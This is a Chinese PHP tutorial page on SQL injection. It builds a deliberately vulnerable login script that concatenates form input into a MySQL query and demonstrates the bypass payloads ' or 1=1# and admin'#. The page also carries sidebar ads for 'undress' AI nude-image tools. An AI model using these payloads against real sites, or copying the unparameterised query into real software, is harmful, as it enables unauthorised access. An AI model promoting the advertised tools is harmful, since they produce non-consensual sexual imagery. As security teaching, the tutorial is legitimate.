首頁 資料庫 mysql教程 常見SQL注入的方法

常見SQL注入的方法

May 30, 2020 am 11:28 AM
sql注入

常見SQL注入的方法

常見SQL注入的方法

WEB安全性SQL注入

引言:

在開發網站的時候,出於安全考慮,需要過濾從頁面傳遞過來的字元。通常,使用者可以透過以下介面呼叫資料庫的內容:URL網址列、登陸介面、留言板、搜尋框等。這往往給駭客留下了可乘之機。輕則資料遭到洩露,重則伺服器被拿下。

一、SQL注入步驟

a)找出注入點,建構特殊的語句

傳入SQL語句可控參數分成兩類
1. 數字類型,參數不用被引號括起來,如?id=1 
2. 其他類型,參數要被引號擴起來,如?name="phone"

b)使用者建構SQL語句(如:'or 1=1#;admin'#(這個注入又稱PHP的萬能密碼,是已知使用者名稱的情況下,可繞過輸入密碼)以後再做解釋)

c)將SQL語句傳送給DBMS資料庫

d)DBMS收到回傳的結果,並將該要求解釋成機器碼指令,執行必要得到操作

e)DBMS接受回傳結果,處理後,回傳給使用者

因為使用者建構了特殊的SQL語句,必定回傳特殊的結果(只要你的SQL語句夠靈活)

下面,我透過一個實例具體來示範下SQL注入
二、SQL注入實例詳解(以上測試皆假設伺服器未開啟magic_quote_gpc) 

1) 前期準備工作
先來示範通過SQL注入漏洞,登錄後台管理員介面
首先,建立一張試驗用的資料表: 

CREATE TABLE `users` (
`id` int(11) NOT NULL AUTO_INCREMENT,
`username` varchar(64) NOT NULL,
`password` varchar(64) NOT NULL,
`email` varchar(64) NOT NULL,PRIMARY KEY (`id`),UNIQUE KEY `username` (`username`)
) ENGINE=MyISAM AUTO_INCREMENT=3 DEFAULT CHARSET=latin1;
登入後複製

新增一筆記錄用於測試:

INSERT INTO users (username,password,email)VALUES('MarcoFly',md5('test'),'marcofly@test.com');
登入後複製

接下來,貼上登入介面的原始碼

<html>
 <head> 
  <title>Sql注入演示</title> 
  <meta http-equiv="content-type" content="text/html;charset=utf-8" /> 
 </head> 
 <body> 
  <form action="validate.php" method="post"> 
   <fieldset> 
    <legend>Sql注入演示</legend> 
    <table> 
     <tbody>
      <tr> 
       <td>用户名:</td>
       <td><input type="text" name="username" /></td> 
      </tr> 
      <tr> 
       <td>密 码:</td>
       <td><input type="text" name="password" /></td> 
      </tr> 
      <tr> 
       <td><input type="submit" value="提交" /></td>
       <td><input type="reset" value="重置" /></td> 
      </tr> 
     </tbody>
    </table> 
   </fieldset> 
  </form>   
 </body>
</html>
登入後複製

附上效果圖:

常見SQL注入的方法

#當使用者點擊提交按鈕的時候,會把表單資料提交給validate.php頁面,validate.php頁面用來判斷使用者輸入的使用者名稱和密碼有沒有都符合要求(這一步至關重要,也往往是SQL漏洞所在)

!                                         <!--前台和后台对接-->
<html>
<head>
<title>登录验证</title>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
</head>
<body>
<?php
$conn=@mysql_connect("localhost",&#39;root&#39;,&#39;&#39;) or die("数据库连接失败!");;
mysql_select_db("injection",$conn) or die("您要选择的数据库不存在");
$name=$_POST[&#39;username&#39;];
$pwd=$_POST[&#39;password&#39;];
$sql="select * from users where username=&#39;$name&#39; and password=&#39;$pwd&#39;";
$query=mysql_query($sql);
$arr=mysql_fetch_array($query);
if(is_array($arr)){
header("Location:manager.php");
}else{
echo "您的用户名或密码输入有误,<a href=\"Login.php\">请重新登录!</a>";
}
?>
</body>
</html>
登入後複製

注意到了沒有,我們直接將使用者提交過來的資料(使用者名稱和密碼)直接拿去執行,並沒有實現進行特殊字元過濾,待會你們將會明白,這是致命的。
程式碼分析:如果,使用者名稱和密碼都符合成功的話,將跳到管理員操作介面(manager.php),不成功,則給予友善提示訊息。
登入成功的介面:

常見SQL注入的方法

 登入失敗的提示:

常見SQL注入的方法

##到這裡,前期工作已經做好了,接下來將展開我們的重頭戲:SQL注入

 2) 建構SQL語句

填好正確的使用者名稱(marcofly)和密碼(test)後,點選提交,將會傳回給我們「歡迎管理員」的介面。
因為根據我們提交的使用者名稱和密碼被合成到SQL查詢語句當中之後是這樣的:

select * from users where username=&#39;marcofly&#39; and password=md5(&#39;test&#39;)
登入後複製

#很明顯,使用者名稱和密碼都和我們之前給的一樣,肯定能夠成功登陸。但是,如果我們輸入一個錯誤的使用者名稱或密碼呢?很明顯,肯定登錄不了吧。恩,正常情況下是如此,但是對於有SQL注入漏洞的網站來說,只要建構個特殊的“字串”,照樣能夠成功登入。

例如:在使用者名稱輸入框中輸入:' or 1=1#,密碼隨便輸入,這時候的合成後的SQL查詢語句為:


select * from users where username=&#39;&#39; or 1=1#&#39; and password=md5(&#39;&#39;)
登入後複製
登入後複製

語意分析:「#」在mysql中是註解符,這樣井號後面的內容將被mysql視為註解內容,這樣就不會去執行了,換句話說,以下的兩句sql語句等價: 

select * from users where username=&#39;&#39; or 1=1#&#39; and password=md5(&#39;&#39;)
登入後複製
登入後複製

等價於

select* from users where usrername=&#39;&#39; or 1=1
登入後複製

因為1=1永遠是都是成立的,即where子句總是為真,將該sql進一步簡化之後,等價於如下select語句:

select * from users
登入後複製

沒錯,此sql語句的作用是檢索users表中的所有欄位 


上面就是一個輸入方法,這裡再介紹一種注入的方法,這個方法又稱PHP的萬能密碼

我們再已知用戶名的條件下,可以不能密碼即可登錄,假設用戶名:admin

構造語句:

select * from users where username=&#39;admin&#39;#&#39; and password=md5(&#39;&#39;)
登入後複製

等價於

select * from users where username=&#39;admin&#39;
登入後複製
這樣即可不能輸入密碼登入上去的。

資料庫就會錯認為不用用戶名既可以登錄,繞過後台的驗證,已到達注入的目的。

同樣利用了SQL語法的漏洞。

看到了吧,一個經構造後的sql語句竟有如此可怕的破壞力,相信你看到這後,開始對sql注入有了一個理性的認識了吧~
沒錯,SQL注入就是這麼容易。但是,要根據實際情況建構靈活的sql語句卻不是那麼容易的。有了基礎之後,自己再去慢慢摸索。
有沒有想過,如果經由後台登入視窗提交的資料都被管理員過濾掉特殊字元之後呢?這樣的話,我們的萬能用戶名' 或 1=1#就無法使用了。但這並不是說我們就毫無對策,要知道使用者和資料庫打交道的途徑不只這條。

推薦:《mysql教學

以上是常見SQL注入的方法的詳細內容。更多資訊請關注PHP中文網其他相關文章!

本網站聲明
本文內容由網友自願投稿,版權歸原作者所有。本站不承擔相應的法律責任。如發現涉嫌抄襲或侵權的內容,請聯絡admin@php.cn

熱AI工具

Undresser.AI Undress

Undresser.AI Undress

人工智慧驅動的應用程序,用於創建逼真的裸體照片

AI Clothes Remover

AI Clothes Remover

用於從照片中去除衣服的線上人工智慧工具。

Undress AI Tool

Undress AI Tool

免費脫衣圖片

Clothoff.io

Clothoff.io

AI脫衣器

Video Face Swap

Video Face Swap

使用我們完全免費的人工智慧換臉工具,輕鬆在任何影片中換臉!

熱工具

記事本++7.3.1

記事本++7.3.1

好用且免費的程式碼編輯器

SublimeText3漢化版

SublimeText3漢化版

中文版,非常好用

禪工作室 13.0.1

禪工作室 13.0.1

強大的PHP整合開發環境

Dreamweaver CS6

Dreamweaver CS6

視覺化網頁開發工具

SublimeText3 Mac版

SublimeText3 Mac版

神級程式碼編輯軟體(SublimeText3)

Nginx基礎安全知識:防範SQL注入攻擊 Nginx基礎安全知識:防範SQL注入攻擊 Jun 10, 2023 pm 12:31 PM

Nginx是一個快速、高效能、可擴展的Web伺服器,它的安全性是Web應用程式開發中不可忽略的問題。尤其是SQL注入攻擊,它可以對網路應用程式造成巨大的破壞。在本篇文章中,我們將討論如何使用Nginx來防範SQL注入攻擊,以保護網路應用程式的安全。什麼是SQL注入攻擊? SQL注入攻擊是一種利用網路應用程式漏洞的攻擊方式。攻擊者會在網路應用程式中註入惡

PHP SQL注入漏洞的偵測與修復 PHP SQL注入漏洞的偵測與修復 Aug 08, 2023 pm 02:04 PM

PHPSQL注入漏洞的偵測與修復概述:SQL注入是指攻擊者利用網頁應用程式對輸入進行惡意注入SQL程式碼的一種攻擊方式。 PHP作為一種廣泛應用於Web開發的腳本語言,被廣泛用於開發動態網站和應用程式。然而,由於PHP的靈活性和易用性,開發者常常忽略了安全性,導致了SQL注入漏洞的存在。本文將介紹如何偵測和修復PHP中的SQL注入漏洞,並提供相關程式碼範例。檢

Laravel開發注意事項:防止SQL注入的方法與技巧 Laravel開發注意事項:防止SQL注入的方法與技巧 Nov 22, 2023 pm 04:56 PM

Laravel開發注意事項:防止SQL注入的方法與技巧隨著互聯網的發展和電腦技術的不斷進步,Web應用程式的開發也變得越來越普遍。在開發過程中,安全性一直是開發者不可忽視的重要議題。其中,防止SQL注入攻擊是開發過程中需要特別關注的安全性問題之一。本文將介紹幾種Laravel開發中常用的方法和技巧,幫助開發者有效地防止SQL注入。使用參數綁定參數綁定是Lar

如何使用exp進行SQL錯誤注入 如何使用exp進行SQL錯誤注入 May 12, 2023 am 10:16 AM

0x01前言概述小編又在MySQL中發現了一個Double型資料溢位。當我們拿到MySQL裡的函數時,小編比較有興趣的是其中的數學函數,它們也應該包含一些資料型態來保存數值。所以小編就跑去測試看哪些函數會出現溢位錯誤。然後小編發現,當傳遞一個大於709的值時,函數exp()就會造成一個溢位錯誤。 mysql>selectexp(709);+-----------------------+|exp(709)|+----------- ------------+|8.218407461554972

如何使用PHP防止SQL注入攻擊 如何使用PHP防止SQL注入攻擊 Jun 24, 2023 am 10:31 AM

在網路安全領域裡,SQL注入攻擊是一種常見的攻擊方式。它利用惡意用戶提交的惡意程式碼來改變應用程式的行為以執行不安全的操作。常見的SQL注入攻擊包括查詢操作、插入操作和刪除操作。其中,查詢操作是最常被攻擊的一種,而防止SQL注入攻擊的一個常用的方法是使用PHP。 PHP是一種常用的伺服器端腳本語言,它在web應用程式中的使用非常廣泛。 PHP可以與MySQL等關係

PHP程式設計技巧:如何防止SQL注入攻擊 PHP程式設計技巧:如何防止SQL注入攻擊 Aug 17, 2023 pm 01:49 PM

PHP程式設計技巧:如何防止SQL注入攻擊在進行資料庫操作時,安全性是至關重要的。 SQL注入攻擊是一種常見的網路攻擊,它利用了應用程式對使用者輸入的不正確處理,從而導致惡意的SQL程式碼被插入並執行。為了保護應用程式免受SQL注入攻擊的影響,我們需要採取一些防範措施。使用參數化查詢參數化查詢是最基本、最有效的防範SQL注入攻擊的方法。它透過將使用者輸入的值與SQL查詢

PHP表單過濾:SQL注入防範與過濾 PHP表單過濾:SQL注入防範與過濾 Aug 07, 2023 pm 03:49 PM

PHP表單過濾:SQL注入防範與過濾引言:隨著網路的快速發展,Web應用程式的開發變得越來越普遍。在Web開發中,表單是最常見的使用者互動方式之一。然而,表單提交資料的處理過程中存在著安全風險。其中,最常見的風險之一就是SQL注入攻擊。 SQL注入攻擊是一種利用網路應用程式對使用者輸入資料處理不當而導致攻擊者能夠執行非授權資料庫查詢的攻擊方式。攻擊者透過在

提昇系統安全性:MyBatis 防範 SQL 注入攻擊的技巧 提昇系統安全性:MyBatis 防範 SQL 注入攻擊的技巧 Feb 21, 2024 pm 09:12 PM

提昇系統安全性:MyBatis防範SQL注入攻擊的技巧隨著資訊科技的不斷發展,資料庫應用已成為現代軟體系統中不可或缺的一部分。然而,隨之而來的是資料庫安全性問題,其中最常見且危害嚴重的恐怕非SQL注入攻擊莫屬。 SQL注入攻擊是指攻擊者透過在輸入欄位中插入惡意SQL程式碼,從而能夠非法取得資料庫中的資訊或破壞資料庫的完整性。為了防範SQL

See all articles